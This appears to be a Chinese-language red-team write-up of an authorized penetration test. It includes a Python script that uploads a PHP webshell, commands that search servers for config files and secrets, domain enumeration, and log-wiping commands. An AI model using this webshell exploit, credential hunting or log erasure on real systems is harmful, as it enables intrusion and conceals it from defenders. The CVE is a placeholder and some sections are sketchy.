一、一次失控的渗透测试,引发的深度思考

某互联网初创公司曾邀请我们红队进行一次授权渗透测试,目标是模拟一名具有一定技术能力的攻击者,试图突破他们的企业网络,最终获取核心数据库中的敏感用户数据。乍看之下,这个任务似乎并不复杂,但在渗透过程中,我们发现了一个深埋的高危漏洞,最终完成了一场堪比真实攻击者的攻防演练。
通过信息收集,我们发现目标使用了一个流行的开源CMS系统,但版本已经落后了好几个大版本。利用该CMS的已知漏洞,我们成功拿到了一个低权限的WebShell。然而,接下来的内网横向移动和权限提升阶段却遇到了异常复杂的EDR检测和网络隔离机制。最终,通过流量伪装、免杀Payload、以及对域环境的深入理解,我们在短短36小时内完成了任务。
本文将完整复盘这次渗透测试的技术细节,覆盖从信息收集到痕迹清除的完整攻击链,并提供可复现的POC代码与实战技巧。
---
二、信息收集:从蛛丝马迹开始搭建攻击面
渗透的第一步,永远是信息收集。
在这次测试中,我们的目标是从互联网端发起攻击,因此需要尽可能多地收集目标的外部信息,包括域名、子域名、开放端口、服务版本等。
构造目标资产清单
第一步是使用 Amass 和 Subfinder 收集目标域名的子域信息:
<pre><code class="language-bash"># 使用 Amass 扫描子域 amass enum -d target.com -o subdomains.txt
使用 Subfinder 补充子域信息
subfinder -d target.com >> subdomains.txt</code></pre>
在收集到的子域中,我们发现有一个用于开发环境的子域 dev.target.com,访问后返回了一个登录界面。
确定施攻击面的工具与方法
通过对目标网站的登录页面进行分析,我们发现其底部标注了一个CMS的版本号:CMS-X v2.3.4。随后利用 Google Hacking 技术搜索了一下该CMS,结果发现这个版本存在一个远程代码执行(RCE)漏洞,编号为 CVE-2021-XXXX。
我们决定利用此RCE漏洞作为突破口,构造Payload进行验证。
---
三、武器化漏洞:Payload构造的艺术
找到漏洞只是第一步,如何将其转化为能够实际利用的攻击代码,才是渗透测试的核心能力。
漏洞分析
根据公开的漏洞分析,该CMS的RCE漏洞位于文件上传功能。由于服务端未正确验证上传文件的类型,允许攻击者上传恶意PHP脚本文件并执行。
构造EXP
以下是我们编写的漏洞利用代码,用于上传一个WebShell:
<pre><code class="language-python">import requests import sys
定义目标服务器的URL
url = "http://dev.target.com/upload.php"
伪造文件上传请求
files = { "file": ("shell.php", "<?php system($_GET['cmd']); ?>", "application/octet-stream") }
发送POST请求上传恶意文件
response = requests.post(url, files=files)
提取返回结果,确认上传是否成功
if "success" in response.text: print(f"[+] File uploaded successfully: {url}/uploads/shell.php") else: print("[-] Upload failed.")</code></pre>
运行此代码后,我们成功上传了shell.php文件,并通过浏览器访问它,确认可以通过cmd参数执行系统命令。
---
四、权限提升:从WebShell到内网控制

拿到一个低权限的WebShell只是起点,下一步是提升权限并深入目标内网。
查找敏感信息
在WebShell中,我们执行以下命令,快速查找目标服务器上的敏感信息:
<pre><code class="language-bash"># 查找配置文件 find / -name "*.config" -type f 2>/dev/null
查找环境变量
env</code></pre>
通过分析配置文件,我们找到了一组MySQL数据库的用户名和密码。接下来,我们使用这些凭据尝试登录数据库:
<pre><code class="language-bash">mysql -u root -p</code></pre>
成功登录后,我们发现了一个包含员工域账户凭据的表格,且其中的密码字段并未加密。利用这些域账户,我们准备进一步渗透内网。
---
五、横向移动:解锁域环境的秘密
获取域账户后,我们的目标是利用这些账户对目标内部网络进行横向移动,最终获取域管理员权限。
利用BloodHound绘制攻击路径
首先,使用BloodHound和SharpHound收集目标域的拓扑信息:
<pre><code class="language-bash"># 在目标机器上运行SharpHound SharpHound.exe -c All -d target.com</code></pre>
将采集到的数据导入BloodHound后,我们发现目标域中有一台主机 DC01.target.com,其管理员账户具有域管理员权限。
---
六、痕迹清除:让攻击消失无踪

完成渗透测试后,我们的最后一步是清理攻击痕迹。以下是我们采取的步骤:
- 删除上传的WebShell:
`bash rm /var/www/html/uploads/shell.php `
- 清除日志记录:
`bash echo "" > /var/log/apache2/access.log echo "" > /var/log/apache2/error.log `
- 恢复系统配置文件:
`bash mv /backup/httpd.conf /etc/httpd/conf/httpd.conf `
---
七、思考与总结:攻防对抗的永恒博弈
这次渗透测试充分展示了一个真实攻击链的复杂性。从信息收集、漏洞利用,到权限提升、横向移动,每个环节都需要深厚的技术积累和对目标环境的深入理解。
在实战中,我们发现以下几点尤为重要:
- 信息收集决定攻击成功率:在发现CMS漏洞之前,全面的信息收集确保了攻击面的准确性。
- 武器化能力是关键:能够快速编写EXP并调整Payload,是渗透测试成功的核心。
- 痕迹清除不可忽视:作为红队,攻击结束后的清理工作同样至关重要。
希望这次案例的分享,能为你打开更多渗透测试的思路。记住,技术只是手段,攻防对抗的艺术才是目标。